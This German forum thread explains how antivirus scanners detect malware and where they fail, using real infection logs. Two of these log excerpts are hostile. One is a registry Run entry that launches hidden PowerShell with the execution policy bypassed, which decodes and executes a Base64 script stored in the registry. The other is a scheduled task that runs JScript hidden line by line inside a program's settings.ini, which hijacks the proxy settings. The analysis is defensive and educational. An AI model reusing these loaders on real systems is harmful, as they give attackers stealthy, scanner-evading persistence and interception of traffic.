Angepinnt Sachen zum Nachdenken: Wie ticken Virenscanner?

Diese Seite verwendet Cookies. Durch die Nutzung unserer Seite erklären Sie sich damit einverstanden, dass wir Cookies setzen. Weitere Informationen

Unsere Datenschutzerklärung wurde aktualisiert. Mit der Nutzung unseres Forums akzeptierst Du unsere Datenschutzerklärung. Du bestätigst zudem, dass Du mindestens 16 Jahre alt bist.

  • Sachen zum Nachdenken: Wie ticken Virenscanner?

    Überall wird geraten, nicht ungeschützt im Netz zu surfen und am besten gleich noch eine kostenpflichtige Security Suite zu installieren - aber wie funktionieren Virenscanner eigentlich? Wie schützen sie und wie verlässlich und effektiv ist das ganze? Ist man da wirklich sicher?
    Ich möchte hier einmal einen Blick hinter die Kulissen werfen - natürlich mit meinem Wissenstand, den ich zur Zeit habe...

    Der Beitrag kann hier diskutiert werden:
    ________________________________________________________

    PPFScanner PPFS Android MisterXMail@web.de
    Mfg AHT

    Dieser Beitrag wurde bereits 3 mal editiert, zuletzt von AHT ()

  • 1. Das Grundprinzip: Signaturbasierende Erkennungen

    Was Virenscanner grundsätzlich versuchen, ist Malware an bestimmten Merkmalen zu erkennen. Diese Merkmale sind meist nicht so stark wie es im normalen Leben ein Fingerabdruck oder ein DNA Profil wäre - sie sind meist eher vergleichbar mit besonderen Merkmalen beim Aussehen.
    Diese Merkmale werden vor allen Dingen in Dateien gesucht - also im sichtbaren Dateisystem. Bei einer so gearteten Erkennung steht man natürlich vor einigen Problemen:
    1. Ist das "Aussehen" des Trojaners dem Virenscanner nicht bekannt, kann der Scanner den Trojaner nicht finden.
    2. Befindet sich der Trojaner nicht im sichtbaren Dateisystem, übersieht der Virenscanner ihn unter Umständen, auch wenn er bekannt ist. Aber wo kann sich ein Trojaner befinden, wenn er nicht im sichtbaren Dateisystem ist?
      1. Er kann sich in einem Alternate Data Stream aufhalten. Virenscanner durchsuchen Alternate Data Streams bei einer Dateisuche nicht.
      2. Er kann sich in der Registry befinden.
      3. Er kann ein Parameter bei einem Dateiaufruf sein.
    3. "Maskiert" der Trojaner sein Aussehen, entspricht sein Aussehen auf der Festplatte nicht mehr der Datei, die eigentlich ausgeführt wird. Eine Erkennung nach dem Aussehen kann dann nicht greifen.
    Das hört sich alles etwas abstrakt an - aber keine Angst, es wird am Ende noch ein reales Beispiel dazu geben. ;-)
    ________________________________________________________

    PPFScanner PPFS Android MisterXMail@web.de
    Mfg AHT

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von AHT ()

  • 2. Scannen von "Prozessspeicher"

    Manche Virenscanner werben damit, Prozessspeicher zu scannen. Aber scannen Virenscanner wirklich den gesamten Speicher? Was scannt ein Virenscanner da wirklich?
    Ein Prozess ist im Prinzip ein gerade laufendes Programm. Prozessspeicher ist also Speicher, der von einem gerade laufendem Programm genutzt wird. Bei einem Programm, das gerade ausgeführt wird, merkt sich Windows sehr genau, wo im Speicher ausführbarer Code steht. Quasi der Standort im Speicher von jeder normal geladenen DLL und auch der EXE wird in eine Art Liste eingetragen, die dem gestarteten Programm zugehörig ist.
    Wenn Virenscanner Prozessspeicher scannen, holen sie sich in der Regel diese Liste und scannen den Speicher, an dessen Stelle sich (laut der Liste) ausführbarer Code befindet. Alles andere scannen sie nicht.
    ________________________________________________________

    PPFScanner PPFS Android MisterXMail@web.de
    Mfg AHT

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von AHT ()

  • 3. Verhaltensbasierende Erkennungen

    Verkauft jemand Drogen, ist er ein Dealer und kann festgenommen werden. Im richtigen Leben ist es sehr einfach, durch Beobachtung eines Verhaltens einen Kriminellen zu identifizieren. Auf dem PC ist das nicht so einfach. Was bei einer Verhaltensbasierenden Erkennung auf dem PC beobachtet wird, ist die Ausführung von Windowsfunktionen, sogenannten APIs, Manche dieser Funktionen sind sehr gut dafür geeignet, Kontrolle über das Betriebssystem oder andere Programme zu erlangen. Werden diese Funktionen von Programmen aufgerufen, die nicht vertrauenswürdig sind, blockt man sie ab und stellt das Programm erst mal unter "Generalverdacht". Vertrauenswürdige Programme sind zum Beispiel Programme, die eine Signatur (quasi einen Dateistempel) irgendeiner Firma besitzen.
    Das hört sich erst mal gut an (auch wenn das vielleicht sehr systemlastig ist), aber wie effektiv ist das wirklich?
    1. Ist ein Programm mit einer Firmensignatur versehen, bedeutet das nicht zwingend, dass es vertrauenswürdig ist. Manche Firmen tun sehr vertrauensunwürdige Sachen - gerade dann zum Beispiel, wenn es sich um Briefkastenfirmen in der Schweiz oder sonstwo handelt. ;-)
    2. Wie man hier sieht, muss Malware gar nicht zwingend verdächtige Sachen ausführen. Meistens "verhält" sich Malware gar nicht in der Weise auffällig, das eine verhaltensbasierende Analyse da was erkennen kann.
    3. Malware muss verdächtige Sachen gar nicht selbst ausführen, sondern kann vertrauenswürdige Programme für Angriffsaktionen nutzen.
    4. Hat Malware den Rechner erwischt, kann man die manchmal ohne genauere Analyse nicht entfernen. Analyseprogramme zur Malwareerkennung werden oft kostenlos von Privatpersonen zur Verfügung gestellt. Die besitzen keine Firmensignatur. Es kommt des Öfteren vor, das verhaltensbasierende Erkennungen unbekannte Malware durchlassen, aber weitere Analysvorgänge mit anderen Tools abblocken, da denen Malwareaktivitäten unterstellt werden (habe das hier mehrfach erlebt). Zum Scannen braucht man aber - genau so wie für das Kapern - erweiterte Rechte.
    ________________________________________________________

    PPFScanner PPFS Android MisterXMail@web.de
    Mfg AHT

    Dieser Beitrag wurde bereits 3 mal editiert, zuletzt von AHT ()

  • 4. Firewall

    Firewalls sollen Programmen, die nicht ins Netz dürfen, den Internetkontakt verwehren. Das hört sich auch praktikabel an, wenn man davon ausgeht, das Malware auch wirklich in einem eigenen Malwareprozess läuft, dem man in irgendeiner Art und Weise etwas verbieten kann. Oft ist das aber gar nicht der Fall, denn Code von Malware wird in Fremdprogrammen ausgeführt - zum Beispiel im Internetbrowser, der ja sowieso ins Netz kann.
    ________________________________________________________

    PPFScanner PPFS Android MisterXMail@web.de
    Mfg AHT

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von AHT ()

  • 5. Hintergrundwächter

    Ein Hintergrundwächter fängt erst einmal jedes Öffnen einer Datei (aber auch eines Alternate Data Streams, da die in gleicher Weise geöffnet werden) ab. Er untersucht dann die zu öffnende Datei mittels seiner Signaturdatenbank auf Übereinstimmungen mit bekannten Viren und verhindert den Zugriff, wenn eine Übereinstimmung gefunden wurde.
    Was aber, wenn der eigentliche Virus nicht innerhalb einer Datei steht, sondern irgendwie anders abgespeichert ist?
    ________________________________________________________

    PPFScanner PPFS Android MisterXMail@web.de
    Mfg AHT

    Dieser Beitrag wurde bereits 2 mal editiert, zuletzt von AHT ()

  • Was bedeutet das alles - wir werfen einen Blick auf einen realen Trojaner

    Wir schauen uns mal an, was das in der Realität bedeutet, was ich in den anderen Beiträgen angedeutet habe.
    Wir nehmen uns mal diesen Trojaner vor: USB-Stick enthält Verknüpfung
    Über folgenden Registryeintrag wurde das Ding gestartet:

    Quellcode: Files.txt

    1. *******************************************************************
    2. *[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]*
    3. *******************************************************************
    4. {313D0627-2EC6-437A-9D49-17DDCC6AADAD} = C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\NfBWaQYDLrwGs').JmMV)));
    Wir erkennen da schon mal mehrere Sachen:
    1. Es wird nach dem Login Powershell ausgeführt. Powershell ist eine signierte Windowsdatei - also vertrauenswürdig. Verhaltensbasierende Erkennungen würde hier mit ziemlicher Sicherheit nicht anschlagen (Punkt 3.).
    2. Powershell liest hier einen Registryeintrag aus, um den als Script auszuführen. Ein Registryeintrag befindet sich nicht im Dateisystem - der wird anders gelesen. Wie war das noch mit der Virensuche (Punkt 1.) und dem Hintergrundwächter (Punkt 5.)? Findet eine Virensuche oder der Hintergrundwächter diesen Trojaner? Wohl kaum, die Chancen stehen da schlecht, sehr schlecht.
    3. Powershell wird da als Parameter FromBase64String mitgegeben. Im Prinzip bedeutet das, dass das Script im Registryeintrag nochmals codiert ist. Das Script, was da ausgeführt wird, ist also noch einmal "maskiert" um das Aussehen zu verbergen (siehe Punkt 1. Nummer 3.).
    Wer denkt, der eigentliche Trojaner steht in dem Registryeintrag, der da als Script im Starteintrag aufgerufen wird, muss ich leider enttäuschen. Es werden durch das codierte Script zwei weitere Registryeinträge ausgelesen. In den beiden Registryeinträgen scheinen sich - wiederum codiert - zwei DLLs zu befinden, von denen zumindestens eine auf eine Art in Powershell geladen und ausgeführt wird, die sie nicht in der unter Punkt 2. erwähnten Liste erscheinen lässt. Selbst wenn die DLLs dem Virenscanner in ihrerer nicht codierten Form bekannt wären, beim Scannen des Prozessspeichers werden sie nicht gefunden.
    Die zweite DLL dürfte eine DLL zum Injizieren in Fremdprogramme (zum Beispiel den Windows Explorer oder den Browser) sein. Auch das geht auf eine Art, die sie nicht im in der Liste als Code dokumentierten Prozessspeicher erscheinen lässt. Es ist also kein Problem, auch an Punkt 4., der Firewall, vorbeizuhuschen.

    Huch - was erkennt denn mein Virenscanner und meine ganzen Sicherheisprogramme noch von der Malware :8O: .
    Na ja - wenn es ganz gut läuft (und der Scanner kümmert sich überhaupt darum), vielleicht noch den Starteintrag. Aber auch der kann problemlos modifiziert werden. Es gibt da sehr schöne Möglichkeiten, Sachen immer ein klein wenig anders zu regeln...
    ________________________________________________________

    PPFScanner PPFS Android MisterXMail@web.de
    Mfg AHT

    Dieser Beitrag wurde bereits 2 mal editiert, zuletzt von AHT ()

  • Warum gibt es dann nicht mehr Powershell Viren?

    Scriptbasierende Viren gibt es eigentlich recht häufig - so selten sind die gar nicht. Genutzt wird da unter anderen auch VB-Script. Recht erfolgreich sind die auch. Powershell war als Kommandozeilenumgebung aber unter XP nicht standardmäßig installiert. Es ist im Virenbereich nicht anders als in anderen Bereichen - Kompatibilität ist gefragt. Je weniger XP genutzt wird, um so häufiger werden auch solche Sachen genutzt. Die User werden das aber erst mal gar nicht mitbekommen. Wer sollte sie denn warnen? Der Virenscanner???
    ________________________________________________________

    PPFScanner PPFS Android MisterXMail@web.de
    Mfg AHT
  • Antimalware Scan Interface (AMSI) - was soll das eigentlich?

    Wer unsere Beiträge hier aufmerksam verfolgt, wird folgenden Beitrag bei der Einführung von Windows10 gelesen haben: Windows-10-API macht Virenscanner allgegenwärtig

    Ab Windows10 ist es also möglich, dass Anwendungen zusätzlich zu normalen Virenscans beliebige Speicherbereiche an den Virenscanner senden, um diese untersuchen zu lassen - vorausgesetzt der Scanner unterstützt diese Sachen. Zur Zeit scheint nur der WindowsDefender AMSI zu unterstützen.
    Aber wofür ist das gut? Wir werfen noch einmal einen Blick auf unseren Beispieltrojaner: Was bedeutet das alles - wir werfen einen Blick auf einen realen Trojaner
    Der Trojaner lädt zwei DLLs, die sich codiert in Registryeinträgen befinden. Erst im Speicher wird der eigentliche Malwarecode daraus - erst da wäre er vom Aussehen identifizierbar. Die Speicherbereiche, in denen dann der Code steht, scannt der Virenscanner aber nicht. Wie wäre es, wenn vor dem Ausführen einer bestimmten Aktion eine Anwendung (zum Beispiel der Internetbrowser) seinen gesamten Speicher an den Virenscanner sendet? Wäre Malware dann nicht mit größerer Sicherheit identifizierbar??

    Aber was soll man sich über solche Sachen Gedanken machen? Andere Virenscanner bleiben weiterhin bei den altbewährten Methoden von Punkt 1. bis Punkt 5.. Warum nur? Weil der User eigentlich gar nicht weiß, was sie wirklich tun und was nicht???
    ________________________________________________________

    PPFScanner PPFS Android MisterXMail@web.de
    Mfg AHT

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von AHT ()

  • Noch ein Beispiel aus der Realität

    Um zu zeigen, was ich genau meine, hier noch einmal ein Beispiel aus der Realität:
    Wir schauen einmal auf den Eintrag hier:

    frst.txt schrieb:

    AutoConfigURL: [S-1-5-21-837359041-2160264236-2840244870-1001] => hxxp://localhost.world/localhost.local


    Da soll automatisch ein Proxyserver gesetzt werden. Bestens geeignet, um jede Art von Kommunikation abzufangen.
    Virenscans erkennen die Ursache nicht - bei jedem Reboot wird der Eintrag neu gesetzt. Was passiert da? Wir schauen weiter...
    Auffällig ist folgende Einträge bei denm Tasks:


    Addition.txt schrieb:

    Task: {4B0EA47A-AAF2-471A-B8BC-7B927CE1171C} - System32\Tasks\Ashampoo Burning Studio 2015 Update => Wscript.exe //nologo //B //E:jscript "C:\Users\alfre\AppData\Roaming\Ashampoo Burning Studio 2015\settings.ini" <==== ACHTUNG
    ...
    Task: C:\Windows\Tasks\Ashampoo Burning Studio 2015 Update.job => Wscript.exe d/nologo /B /E:jscript C:\Users\alfre\AppData\Roaming\Ashampoo Burning Studio 2015\settings.ini <==== ACHTUNG

    Da soll eine Javascript Datei aus einer Settings.ini ausgeführt werden.
    Die Settings.ini ist ein regulärer Bestandteil von Ashampoo Burning Studio 2015. Was ist da los?
    Wir schauen uns die Datei an:
    Bild1.jpg
    Sieht eigentlich ganz normal aus - bis auf folgendes Zeichen: /*
    Das ist ein Zeichen, um in Javascript etwas auszudokumentieren. Wir schauen weiter:
    Bild2.jpg
    Wie man sieht, ist der Javascript Quellcode zeilenweise in die regulare Datei Settings.ini eingebaut worden.
    Extrahiert man sämtliche Zeilen des Javascript Quelltextes aus der Datei und fügt die einzelnen Zeilen zusammen, erkennt man, dass durch diesen Task immer wieder die Proxyeinstellungen des Gerätes geändert werden.
    Eine hervorragende Geschichte, um den ganzen Netzwerkverkehr abzufangen - oder mal eben Malware auf dem Rechner zu platzieren.
    Der Quelltext ist hier in der Datei zeilenweise auseinandergerissen. Die eigentliche Malware entsteht erst im Speicher - da wird der ausdokumentierte Bereich nicht ausgeführt.
    Ist das so von einem Virenscanner sicher in jedem Fall zu finden? Wohl kaum...
    Und es geht durchaus noch besser.
    ________________________________________________________

    PPFScanner PPFS Android MisterXMail@web.de
    Mfg AHT

    Dieser Beitrag wurde bereits 6 mal editiert, zuletzt von AHT ()

  • Ausblicke...

    AHT schrieb:

    Und es geht durchaus noch besser.
    Wir spinnen die Sache weiter...
    Was hinter denn so einen Trojaner daran, seine Codestückchen nach jedem Reboot wieder an anderen stellen in der Datei zu platzieren? Was hindert ihn daran, sich nach jedem Reboot in einer anderen Datei aufzuhalten oder anders codiert zu erscheinen?
    Was ist da wirklich sicher mit Virenscannern zu finden, wenn das Aussehen sich nach jedem Reboot ändert???
    ________________________________________________________

    PPFScanner PPFS Android MisterXMail@web.de
    Mfg AHT

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von AHT ()

  • Zurück in die Gegenwart

    ________________________________________________________

    PPFScanner PPFS Android MisterXMail@web.de
    Mfg AHT

    Dieser Beitrag wurde bereits 4 mal editiert, zuletzt von AHT ()